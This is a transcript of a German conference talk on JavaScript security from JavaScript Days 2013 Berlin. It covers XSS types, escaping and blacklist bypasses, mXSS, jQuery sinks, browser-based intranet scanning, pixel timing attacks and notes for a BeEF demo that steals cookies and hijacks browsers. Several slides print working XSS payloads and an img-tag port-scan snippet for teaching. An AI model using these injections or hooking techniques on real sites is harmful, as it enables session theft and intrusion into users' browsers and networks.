+ All Categories
Home > Technology > JavaScript und Security - JavaScript Days 2013 Berlin

JavaScript und Security - JavaScript Days 2013 Berlin

Date post: 20-Jan-2015
Category:
Upload: johann-peter-hartmann
View: 3,208 times
Download: 0 times
Share this document with a friend
Description:
Wenn der größte Teil der Logik in JavaScript stattfinden, dann findet auch der größere Teil der Sicherheitsrisiken dort seine Heimat. Und Angreifer finden mit JavaScript eine interessante neue Heimat, denn die Sprache selbst und auch Ihre Heimat in Browser und node.js bringen viele neue Probleme. Und genau da setzt der Vortrag an: die verblüffenden Unterschiede von JavaScript zu anderen Sprachen, wenn es um Security geht. Die Risiken und auch die Besonderheiten von Browsern und anderen JavaScript-Engines wie node.js. Die Security-Implikationen von JavaScript Frameworks bishin zu speziellen Problemen wie mXSS, ReDOS und HTML5-Security.
157
Guten Morgen! 1 Guten Morgen zusammen?
Transcript
Page 1: JavaScript und Security - JavaScript Days 2013 Berlin

Guten Morgen!

1

Guten Morgen zusammen?

Page 2: JavaScript und Security - JavaScript Days 2013 Berlin

Müdigkeit:

Ich > Ihr.2

Ich bin übrigens deutlich müder als Ihr. Ich bin heute morgen mit dem Flieger aus München gekommen, das heisst: um 5:30 am Flughafen sein, also um halb 5 aufstehen. Und bei uns ist gerade Oktoberfest.

Page 3: JavaScript und Security - JavaScript Days 2013 Berlin

Berliner Flughafen?!3

Für mich als Münchner war das erst mal verblüffend hier überhaupt anzukommen - hey, die Berliner haben einen Flughafen? Ist der denn schon fertig?

Page 4: JavaScript und Security - JavaScript Days 2013 Berlin

Berlin FTW!4

Aber nichts desto trotz, ich freue mich in Berlin zu sein. Wer kommt alles aus Berlin? Hamburg? München? Eigentlich sollte ich nach was anderem fragen: Wer entwickelt auf node.js? Wer eher im Browser?

Page 5: JavaScript und Security - JavaScript Days 2013 Berlin

JavaScript Days Muc5

Aber zurück zu München. Mirko und die Jungs von Qafoo hatten mich dort gefragt, ob ich nicht auch einen Vortrag machen möchte. Im wesentlichen weil mein Büro 300 Meter von den JavaScript Days entfernt war.

Page 6: JavaScript und Security - JavaScript Days 2013 Berlin

DISCLAIMER: No JavaScript-God

But pretty good at breaking stuff.

6

Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i break it.

Page 7: JavaScript und Security - JavaScript Days 2013 Berlin

Warum JavaScriptaus den gleichen

GründenGold und Müll ist

7

Der Inhalt des Vortrags in München war in etwa, warum JavaScript als den gleichen Gründen völlig mächtig und super ist - und parallel dazu ein völlig riskantes, hirntotes Konstrukt.

Page 8: JavaScript und Security - JavaScript Days 2013 Berlin

OH NOES!JavaScript Security!

8

Einer der Hauptgründe für warum es echt schmerzhaft ist ist Security. Und nach dem Talk haben wir dann noch mal drüber gesprochen, ob man nicht mal einen Workshop darüber machen sollten. Und da bin ich.

Page 9: JavaScript und Security - JavaScript Days 2013 Berlin

CPU

BUS

Speicher

9

In meinem Talk im März habe ich das wie ein guter Informatiker abstrakt und umständlich begründet. Und zwar mit der von Neumann-Architektur. Die sagt: es gibt einen CPU, und die redet über einen BUS nicht nur mit Input und Output, sondern auch mit dem Speicher.

Page 10: JavaScript und Security - JavaScript Days 2013 Berlin

CPU

BUS

Speicher:Echte DatenLaufzeitdaten: Heap, Stack

10

Konkret befinden sich im Speicher echte Daten, also zum Beispiel Adressen oder so, aber auch Laufzeitdaten wie Variablen und Funktionsaufrufe. Die befinden sich im Stack der Prozesse, oder im Heap für angeforderte Daten.

Page 11: JavaScript und Security - JavaScript Days 2013 Berlin

Speicher:Echte DatenLaufzeitdaten: Heap, Stack

Für die CPU sindDaten, Laufzeitvariablen und Code das gleiche

11

Und das hat vor allem eine Konsequenz: Für die CPU sind Daten, die Laufzeitvariablen, die Laufzeitdaten und der Code das gleiche: manipulierbarer Speicher.

Page 12: JavaScript und Security - JavaScript Days 2013 Berlin

Für die CPU sindDaten, Laufzeitvariablen und Code das gleiche

•Buffer Overflows•Integer Overflows•Format String Bugs•Use after Free

12

Und das resultiert in ca 80 Prozent der Bugs in Betriebssystemen, Servern, die zu Security-Problemen führen.Deshalb wurde beliebig viel Zeit in das Engineering von CPUs und Betriebssystemen gesteckt. Inzwischen können steht an den Speicherpages explizit dran, welche executiert werden dürfen und welche nicht, und der Laufzeitspeicher ist randomisiert und nicht mehr erwartbar.

Page 13: JavaScript und Security - JavaScript Days 2013 Berlin

Browser: Daten, Code, DarstellungOS: Variablen

Für den Browser sindDaten, Code und Darstellung das gleiche

13

Wirrerweise hat man dann im Browser eine ähnliche Architektur gewählt - vermutlich erwartete man nicht, dass das Konzept dermassen erfolgreich sein würde. Der Server redet mit dem Browser nur über einen langen String, und der enthält den Content - und seit 1995 auch die Programmiersprache JavaScript. Daten können in der Seite oder separat stattfinden.

Page 14: JavaScript und Security - JavaScript Days 2013 Berlin

Für den Browser sindDaten, Code und Darstellung das gleiche

•Session Riding•XSS•CSRF•JavaScript Hijacking•Clickjacking

14

Und genau daraus resultieren die ganzen Bugs, die wir in der JavaScript-Welt haben. Zu den einzelnen Punkten komme ich natürlich noch.

Page 15: JavaScript und Security - JavaScript Days 2013 Berlin

15

Aber nicht nur da hatte der Herr von Neumann einen Vorteil. Bei ihm war das noch einfach. Es gab nämlich nur einen Rechner, und der war trusted. Weil jemand den Schlüssel zu dem Raum hatte, in dem der Rechner stand. Und nur der kam an den Rechner ran. Also durfte der machen, was er will.

Page 16: JavaScript und Security - JavaScript Days 2013 Berlin

16

Beim Browser sieht das anders aus - da habe ich zwar meinen lokalen Client, dem ich zwar prinzipiell vertraue - aber dieser führt Code aus, der aus dem Internet kommt - und dem ich meistens nicht vertrauen. Deshalb wird JavaScript ja auch in einer Sandbox ausgeführt.Und meist habe ich Daten und JavaScript von verschiedenen Quellen auf, die wiederum andere Quellen einbinden können - dementsprechend kann ich dem, was im Browser passiert, nie wirklich trauen. Deshalb wurde HTTPs eingeführt, damit ist wenigstens - jenseits der NSA - die Authentizi

Page 17: JavaScript und Security - JavaScript Days 2013 Berlin

•2.5 Milliarden Browser-Clients•1 Milliarde Smartphones•Private Daten im Browser•Bankdaten im Browser•Milliardensummen in Transaktionen

Largest Attack Surface Ever!

17

Und die Grafik von eben gibt es nicht nur einmal. Sondern endlos oft. 2.5 Milliarden Clients werden genutzt, inzwischen fast genausoviele Smartphones. Jeder hat inzwischen mehr private Informationen im Browser als im Tagebuch. Mehr Geld über Online-Transaktionen verwaltet als über Unterschriften.

Page 18: JavaScript und Security - JavaScript Days 2013 Berlin

E

Und konkret?

18

Aber genug vom theoretischen Erzählen .... gucken wir doch mal an, was alles faktisch dahinter steht.

Page 19: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS

19

Erster und wichtigster Kandidat ist XSS. Wer weiss alles, was XSS lang heisst?

Page 20: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSCross

Site Scripting

20

Genau, das sollte auch jeder Wissen.Weiss jemand, warum das so heisst? Exakt, weil die Jungs schlicht nicht nachgedacht haben.Eigentlich ist das aber ein Misnomer, weil es eigentlich nur wenig mit Cross Site zu tun hat.

Page 21: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSJavaScript

Injection

21

Eigentlich reden wir über JavaScript Injection, denn das ist das, was tatsächlich passiert. Auf dem Computer lokal wäre das kein Problem - aber wir haben es eben genau nicht mit nur einem Rechner zu tun, sondern mit ganz vielen - und das macht das ganze erst möglich.

Page 22: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<html><head><title>JavaScript-Test</title><script src="quadrat.js" type="text/javascript"></script></head>

22

JavaScript kann der Browser eigentlich gar nicht direkt ausführen. Die Ausführung passiert erst dann, wenn ein Dokument das JavaScript einbettet. Und das passiert so. Und wenn es nur so ginge, dann hätten wir ein Problem weniger.

Page 23: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<html><head><title>JavaScript-Test</title><script src="quadrat.js" type="text/javascript"></script></head>

I WANT MOAR!

23

Aber diese Variante war den Jungs von Netscape damals alleine zu unpraktisch. Es wäre doch total praktisch, wenn man das Javascript auch an anderen Stellen einsetzen könnte ...

Page 24: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<html><head><title>JavaScript-Test</title><script type="text/javascript">alert(“Hi!“);</script></head>

24

Wie zum Beispiel einfach direkt im Script Tag. Ok, das lag auf der Hand, aber ab dem Moment gibt es ab ... wäre es nicht auch super, wenn man zum Beispiel ...

Page 25: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<a href=“javascript:alert(/Hi!/);“>Click me</a>

25

Einfach URLs nutzen könnte, um JavaScript auszuführen???

Page 26: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<meta http-equiv=“refresh“ content=“0;url=“javascript:alert(1);“>

26

Hey, das wäre cool. Schliesslich können wir URLs fast überall nutzen. Und da geht das dann auch.

Page 27: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<table background=“javascript:...

27

Ja, das ging auch mal. Was wären wir ohne Table-Backgrounds, die Script-Gesteuert sind. Glücklichweise haben die Browserhersteller relativ früh gemerkt, dass das kein guter Plan ist. Aber immerhin - Gerüchten zufolge soll es noch Nutzer geben, die alte Browser einsetzen.

Page 28: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<input value=“12“ onmouseover=“alert(1);“>

28

Dann haben die Jungs von Netscape noch mal weitergedacht, und kamen auf die Idee, das ganze doch noch mal Inline machen zu können, wie damals in Delphi, einfach eine Aktion an das GUI-Element koppeln. Oder wie bei Visual Basic.

Page 29: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<style>a: expression(alert(1))</style>

29

Und wäre es nicht aus super, wenn man die Darstellung, die inzwischen über CSS gesteuert wird, automatisieren könnte? Glücklicherweise mit IE8 endgültig deaktiviert, und IE-only.

Page 30: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

30

Hey, und wenn das nicht geht - wir können das ja auch noch über URLs machen. Glücklicherweise auf neuen Browsern auch nicht mehr möglich.

Page 31: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<script>xss = “alert(1);“;eval(xss);</script>

31

Und, weil wir schliesslich Informatiker sind: das sollte auch Meta und Rekursiv können. Natürlich muss JavaScript auch JavaScript ausführen können.

Page 32: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS

32

Und wenn wir schon mal dabei sind ... wir könnten doch auch Plugins damit steuern. Das wäre doch super. Und damit hätten wir auch endlich wieder Zugriff auf die ganzen Super Bugs aus der C-Welt: Buffer Overflows, Format String Bugs, Integer Overflows.

Page 33: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS

33

Und generell, wäre es nicht super, wenn jeder, der in Zukunft neue Dinge im Browser macht, sie auch gleich scripten könnte? Dann könnten wir alles Super automatisieren!MathML und JavaScript war so kaputt, das Chrome es nach wenigen Versionen wieder rausgeworfen hat.

Page 34: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSDas ist

unpraktisch!34

Das ist zwar auf der einen Seite, irgendwie total cool, dass ich das überall verwenden kann, auf der anderen Seite aber massiv unpraktisch.

Page 35: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSFür den Browser sindDaten, Code und Darstellung das gleiche

35

Denn: Alles ein langer String.. Weil unsere Daten, unsere Darstellung und unser Code für den Browser das gleiche sind.

Page 36: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSIch wollte doch nur

Daten schreiben!

36

Und genau da kommen unsere Probleme her - ich wollte als Entwickler nur Daten oder Layout-Elemente erzeugen. Und der Browser, die Sau, hat sich entschlossen, meine Daten ganz stumpf als Executable Code zu nutzen.

Page 37: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<p>Name: Hartmann</p>

<p>Name: Hartmann<script>alert(1);</script></p>

37

Das ist der Klassiker der Hacker-Formular-Tourette: eigentlich wollte ich nur meinen Namen eingeben, irgendwie kam dann aber ein ganz anderer String heraus, und der machte diesen Unsinn. Eigentlich sollten da nur Daten stehen, keine Ahnung, warum der Browser da jetzt Unsinn macht.

Page 38: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<script>plz = 80331;<script>

<script>plz = 80331;alert(1);<script>

38

Auch das passiert: Da wollte ich meine Javascript nur die Postleitzahl des Nutzers in die Hand geben, und durch einen doofen Typo hat es JavaScript erkannt. Weiss jemand wie ich es richtig escaped hätte? Wieder hätte ich eigentlich nur Daten haben wollen.

Page 39: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<input type=text value=“Hartmann“>

<input type=text value=“Hartmann“ AUTOFOCUS onfocus=“alert(1);“>

39

Hier wollte ich meinem Formularfeld nur sagen wie ich heisse. Dieses mal habe ich mit dem Typo aus Versehen gleich HTML5 gemacht, und schwupps, war da auch schon wieder ein Alert;

Page 40: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSXSS Type 0:

Dom-based XSSLokal, nur im Client, ohne Server.Deshalb hilft serverside Mitigation nicht.Meist basierend auf location.*

40

Aber woher kommen die Daten, die da an den falschen Stellen ausgegeben werden? Da unterscheidet man drei Typen. Der erste ist Type 0 XSS, auch DOM-based XSS genannt.Der passiert rein im Browser, und damit auch schon auf statischen HTML-Files. Er braucht auch keine Server, und Web Application Firewalls oder Pentesting bzw. Tests hilfen nicht.Man kann sich nur direkt im Javascript schützen.

Page 41: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSXSS Type 1:

Reflected XSSDie typische XSS.Eingabe -> Ausgabe -> Boom.Schön zu testen.Andere Seite heilt den XSS.

41

Der bekannteste Typ, unter dem auch gemeinhin XSS verstanden wird, ist der XSS Typ1, der reflektierte XSS. Meist gibt es hier eine Eingabe und gleich auf der nächsten Seite eine Ausgabe - zB bei Formularen. Er ist nur für denjenigen sichtbar, dessen Browser auch den Ursprungsrequest abgeschickt hat. Der Schutz passiert meist auf der Serverseite.

Page 42: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSXSS Type 2:

Persistent XSSWie reflektierter XSS, aber gespeichert.Auch für andere Nutzer sichtbar, kann viral werden.

42

Der dritte Typ ist der aggressivste, der Persistente XSS. Der passiert, wenn ich zB in ein Forum einen XSS einschleusen kann, der dann von anderen Nutzern auch gesehen wird. Oder XSS in einem Chat.

Page 43: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSXSS Type X:

Somewhere ElseEingebettetes remote.jsExterne JSONPsDaten aus der DatenbankHandschrift auf der Überweisung

43

Und es gibt natürlich beliebige andere Quellen, von denen meine Applikation die Daten bekommt.

Page 44: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSRich Internet Applications

Bei Single Page Applications ist jeder XSS persistent, weil keine Heilung mehr durch einen URL-Wechsel stattfindet.

44

Das gemeine an allen drei Typen ist, dass das inzwischen für uns meist fast egal ist. Denn bei den Single-Page-Applications, die wir normalerweise schreiben, hilft es nichts mehr - es bleibt immer der gleiche Seitenscope bestehen, und damit ist jeder XSS, zumindest für die Zeit der Session, persistent.

Page 45: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSEscaping FTW!

45

Also wurde zunächst einmal escaped. Wer setzt hier $.html() in Jquery ein, um Output zu escapen?

Page 46: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSescapeHtml(“Hartmann<script>alert(1);</script>“);

46

Ich nehme hier mal die Escape-Funktion aus Mustache, vom Jan Lehnhardt.

Page 47: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<p>Name: Hartmann</p>

<p>Name: Hartmann&gt;script&lt;alert(1);&gt;/script&lt;</p>

47

Das klappt tatsächlich, wie cool!

Page 48: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSescapeHtml(“Hartmann\“ AUTOFOCUS onfocus=\“alert(1); “);

<input type=text value=“Hartmann&quot; AUTOFOCUS onfocus=&quot;alert(1);“>

48

Heja, der klappt ja auch! Endlich habe ich eine Escape-Funktion, die Universell ist...

Page 49: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<script>plz = 80331;<script>

<script>plz = 80331;alert(1);<script>

49

Und schauen wir uns noch mal das JS-Beispiel direkt an - das gilt btw. auch für alles, was direkt in einem Exekutierbaren Scope landet, also auch events etc. Da funktioniert das nicht weil wir dazu hätten „;“ escapen müssenDas gleiche gilt für ausgaben in JavaScript Events.

Page 50: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSUniverselles Escaping

funktioniert nicht.50

Fazit: Universelles Escaping funktioniert nicht.

Page 51: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSÜBUNG

ESCAPING51

Übung zu Escaping einbringen.

Page 52: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS$name =$_GET[‘name‘];$name = escapeme($name);

<script>name = “...“;<script>

Input

Output

52

Wie würde hier die Escapeme aussehen?

Page 53: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSInput

Output

$data = ‘{vorname:“johann“,nachname:“Hartmann“}‘;

<script>var data = myfunction(“...“);<script>

53

Wie würde hier die myfunction aussehen?

Page 54: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSInput

Output

$wysiwyg = “<div>Hi!</div>“;$layout = escapeme($wysiwyg);

<body> ....</body>

54

Und hier? Genau, universelles Escaping funktioniert nicht.

Page 55: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSBlacklists ftw

55

Also wurde zunächst Blacklisting erfunden. Sprich: ich gucke nach bösen Sachen und filtere sie heraus. Jemand hier, der Blacklists einsetzt? PHPIDS? Validator aus Node.js?

Page 56: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<p>Name: Hartmann<script>alert(1);</script></p>

<p>Name: Hartmannalert(1);</p>

56

Blacklists sollten die gefährlichen Ausdrücke entfernen, so dass kein JavaScript mehr ausgeführt werden kann. Also wurden die einfach entfernt.

Page 57: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<p>Name: Hartmann<scr<script>ipt>alert(1);</scri<script>pt></p>

<p>Name: Hartmann<script>alert(1);</script></p>

57

Darauf haben die Hacker dann reagiert, indem sie einfach das, was entfernt wird, wieder ergänzt haben. Das hat nur so mittel geklappt. Danach sind die aber besser geworden, und laufen heute so lange über einen String, bis sie nichts mehr finden.

Page 58: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<p>Name: Hartmann<scr<script>ipt>alert(1);</scri<script>pt></p>

<p>Name: Hartmann[removed]alert(1); [removed] </p>

58

Inzwischen sind die natürlich auch besser geworden, und im regelfall - zB bei node.js validator - sieht das so aus.

Page 59: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<script>plz = 80331;<script>

<script>plz = 80331;alert(1);<script>

59

Dieses Ding bleibt trotzdem unangetastet. Ok, bei einigen Blacklists fliegt alert raus ....

Page 60: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<script>plz = 80331;<script>

<script>plz = 80331;prompt(1,1);<script>

60

... da muss man dann prompt(1,1) zum testen nehmen :-).

Page 61: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSUniverselles Blacklisting

funktionert nicht.61

Fazit: Universelles Blacklisting funktioniert auch nicht.

Page 62: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSOk, Escaping geht nicht, Blacklisting geht nicht.Sonst noch was um meine Laune zu verderben?

62

Das ist ja schon mal nicht so gut. Aber sind wir damit schon am Ende?

Page 63: JavaScript und Security - JavaScript Days 2013 Berlin

KMXSSThe innerhtml

Apocalypse63

Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen.

Page 64: JavaScript und Security - JavaScript Days 2013 Berlin

KMXSSEs steht das drin,

was gemeint war.64

Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen. Klar, wer die Anfänge auf Geocities mitbekommen hat - da war mit sauberem Syntax nichts zu holen.

Page 65: JavaScript und Security - JavaScript Days 2013 Berlin

KMXSSDemotime!

Idee, Konzept, sonstiges: alles geklaut bei Mario Heiderich

65

Demo! file:///Users/johann/javascript/innerhtml_test.htmlSiehe http://de.slideshare.net/x00mario/the-innerhtml-apocalypse

Page 66: JavaScript und Security - JavaScript Days 2013 Berlin

KMXSSHTML im Browser != geschriebenes HTML

•abhängig von Browserversion•abhängig von Browsermode•abhängig von Position im HTML

66

Was lernen wir daraus? Es kommt nicht darauf an, was wir selbst als JavaScript schreiben, sondern es kommt darauf an, was der Browser daraus macht.

Page 67: JavaScript und Security - JavaScript Days 2013 Berlin

KMXSSBeispiel: <i foo="<b>" [EOF]

Firefox, Chrome, Safari: da ist nur ein <i>-Tag

IE, Opera: Da ist ein <i> und ein <b>-Tag

67

Mal ein anderes konkretes Beispiel, unser File hört mit einem Tag i mit einem Attribut auf - dann wird das <b>-Tag in IE und Opera als solches interpretiert.

Page 68: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSAre we done

yet?68

Ok, sind wir jetzt endlich mit den ganzen Problemen durch?

Page 69: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSNope.

69

Klar gibt es noch mehr!

Page 70: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS<div data-dojo-type="dojox/calendar/Calendar" data-dojo-props="startDate: new Date(2012, 0, 1), endDate: new Date(2012, 0, 9)" style="position:relative;width:500px;height:500px"></div>

70

Wir haben ja schliesslich noch JavaScript Libraries. Und auf einmal gibt es Properties die Aktionen auslösen, die ich noch gar nicht kenne - zum Beispiel über Widgets. In HTML5 gibt es das auch, aber da triggern sie kein JavaScript, das eigene Lücken enthalten kann.

Page 71: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSVorher galt:

Attribut mit on* -> Triggert JavaScript

71

Und das ist wichtig - denn vorher konnte man sich darauf verlassen, dass JavaScript nur über Events, also über Attribute, die mit on* beginnen getriggert wurde - und alles andere funktioniert automatisch.

Page 72: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS

72

Und nicht nur da spielen die Libraries eine Rolle. Wer setzt alles Jquery ein? (Jetzt sollten sich alle melden)

Page 73: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS

73

Da steht ja nicht umsonst „write less, do more“ drunter. Das passiert tatsächlich.

Page 74: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS$()

74

Das wird zum Beispiel mit der sehr mächtigen $() funktion gemacht, die abhängig von Inhalt unterschiedliche Dinge tut. Das erlaubt einem sehr schnell zu sein. Das ist cool.

Page 75: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS$()

75

Aber das bedeutet auch, dass man nicht immer weiss, was passiert. Und das ist ein Problem.

Page 76: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSSink: eine Funktion, die ein Risiko darstellt,

wenn ihr nicht vertrauenswürdiger Input übergeben wird.

76

In Security spricht man von einer Sink wenn man eine Funktion hat, die in einem Security-Problem resultiert, wenn sie fremde Daten bekommt oder die Daten nicht sanitized sind.SQL-Funktionen sind solche Sinks, wenn ich dort einen String direkt eingebe, dann wird er ungefiltert der Datenbank übergeben und kann SQL-Injections erzeugen. eine Multiplikationsfunktion wäre dementsprechend Risikofrei.

Page 77: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS$() ist eine Sink$("<img src='dd' onerror='alert(1)'>");

77

Und genau da kommt unser Problem her - $() ist eine Sink, und nicht jeder weiss es. Ich darf also $() nur validierten Input in die Hand geben. Quelle: https://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf

Page 78: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSOk, aber

ist das wirklich ein Problem?

78

Da stellt sich natürlich die Frage - ist das wirklich ein Problem?

Page 79: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSWenn JavaScript ausgeführt werden kann,

dann ist das vollständige Vertrauen im aktuellen JavaScriptkontext zerstört.

79

Ja, ist es. Das erste liegt an der Sprache selbst. Die Sprache erlaubt die Manipulation und das Überschreiben von allem, auch von den Browsereigenen Objekten und Methoden.

Page 80: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS

80

Ich brauche bloss window.alert(); auf eine neue Funktion zu binden, und schon passiert etwas ganz anders wenn ich einen alert() triggere. Das gleiche gilt natürlich auch für Objekte wie xmlhttprequest.

Page 81: JavaScript und Security - JavaScript Days 2013 Berlin

KXSS

Same Origin Policy

81

Eigentlich kann ich mit JavaScript auch nur auf Ressourcen meines Servers zurückgreifen, dank der Same Origin Policy. Faktisch sieht das aber anders aus, mit ein paar Tricks.

Page 82: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSIntranet

82

Page 83: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSErkennung der Browser-IP per WebRTC

Intranet

82

Page 84: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSErkennung der Browser-IP per WebRTC

nmap für Arme: Host- und Portscanning

Intranet

82

Page 85: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSErkennung der Browser-IP per WebRTC

nmap für Arme: Host- und Portscanning

über Iframes, Img-Tags, JavaScript, ohne JavaScript über Timing von <link>-Includes:

<img src=“http://192.168.2.1:80/“ onError=“stoptimer(“192.168.2.1“, 80);“ />

Intranet

82

Page 86: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSIntranet

83

Page 87: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSDictionary-Attacken auf das Intranet

Intranet

83

Page 88: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSDictionary-Attacken auf das Intranet

Erkennung von Devices und vorhandener Logins über URLs

Intranet

83

Page 89: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSDictionary-Attacken auf das Intranet

Erkennung von Devices und vorhandener Logins über URLs

Breite Angriffe (zB Drive-By-Pharming)

Intranet

83

Page 90: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSPixel Perfect Timing

84

Page 91: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSvar handle = window.requestAnimationFrame(callback);

Pixel Perfect Timing

84

Page 92: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSvar handle = window.requestAnimationFrame(callback);

Nutzen um die Frame Rate auszurechnen

Pixel Perfect Timing

84

Page 93: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSvar handle = window.requestAnimationFrame(callback);

Nutzen um die Frame Rate auszurechnen

Über -moz-element iframe als vergrösserten Background für ein <div> nutzen

Pixel Perfect Timing

84

Page 94: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSvar handle = window.requestAnimationFrame(callback);

Nutzen um die Frame Rate auszurechnen

Über -moz-element iframe als vergrösserten Background für ein <div> nutzen

teuren Morphology-Filter über einzelne Pixel legen und Frame Rate messen

Pixel Perfect Timing

84

Page 95: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSPixel Perfect Timing

http://www.contextis.com/files/Browser_Timing_Attacks.pdf85

Hier sehen wir wie das funktioniert - links oben der Originale frame, rechts das div mit der Kopie, unten links ein Frame mit Treshhold als Filter, und rechts unten ein einzelner Pixel - und über diesen wird die Framerate gemessen.

Page 96: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSPixel Perfect Timing

86

Page 97: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSGeht natürlich auch mit view-source: urls im Chrome

Pixel Perfect Timing

86

Page 98: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSGeht natürlich auch mit view-source: urls im Chrome

Framebuster/ X-Frame-Options schützen

Pixel Perfect Timing

86

Page 99: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSGeht natürlich auch mit view-source: urls im Chrome

Framebuster/ X-Frame-Options schützen

Facebook-Comments/Likes wollen embedded werden

Pixel Perfect Timing

86

Page 100: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSGeht natürlich auch mit view-source: urls im Chrome

Framebuster/ X-Frame-Options schützen

Facebook-Comments/Likes wollen embedded werden

OCR funktioniert.

Pixel Perfect Timing

86

Page 101: JavaScript und Security - JavaScript Days 2013 Berlin

KXSSDemotime!

http://beefproject.com/

871. Neuer Browserhttp://whatismyipaddress.comIP notieren2. Blog-URLhttp://blog.mayflower.de3. in http://beef.mayflower.de/ui/panel einloggen4. Links die Zombies zeigen5. Rechts Log zeigen6. Meine IP raussuchen7. Detail-Seite vorstellen - alles, was einfach ohne tricks über JavaScript zu ermitteln ist, quasi Browser Capabilities 7. Rider Nutzung des Fremden Browsers als Proxy- auf der gehijackten Domain, weil Same Origin8. CommandsBrowser Domain8.1 get cookie-> session riding mit login8.2 get page hrefs8.3 alert dialog8.4 Full Page Rickroll8.5 Webcam Permission check - interesting domains8.6 Host - Get internal IP8.7 DOSer8.9 Persistence - create popunder.9.0 Phonegap & Extension exploits

Page 102: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSExtensions,

& HTML5& Phonegap

88

Da sind wir auch gleich beim nächsten Thema - HTML / XSS jenseits des Browsers.

Page 103: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSFaktisch: HTML5-Applications

Extensions

http://de.slideshare.net/kkotowicz89

Page 104: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSExtensionsPro Domain* Sonderrechten:chrome.tabschrome.bookmarkschrome.historychrome.cookies

90

Page 105: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSExtensionsPro Domain* Sonderrechten:chrome.tabschrome.bookmarkschrome.historychrome.cookies

40%http://*/*

https://*/*

91

Page 106: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSExtensions

Halten sich inzwischen an Content Security Policy

Aber: diverse eval()s in Libraries (mustache, underscore, jQuery template)

92

Page 107: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSExtensions

Resultat: Voller Zugriff auf alle Seiten im Browser

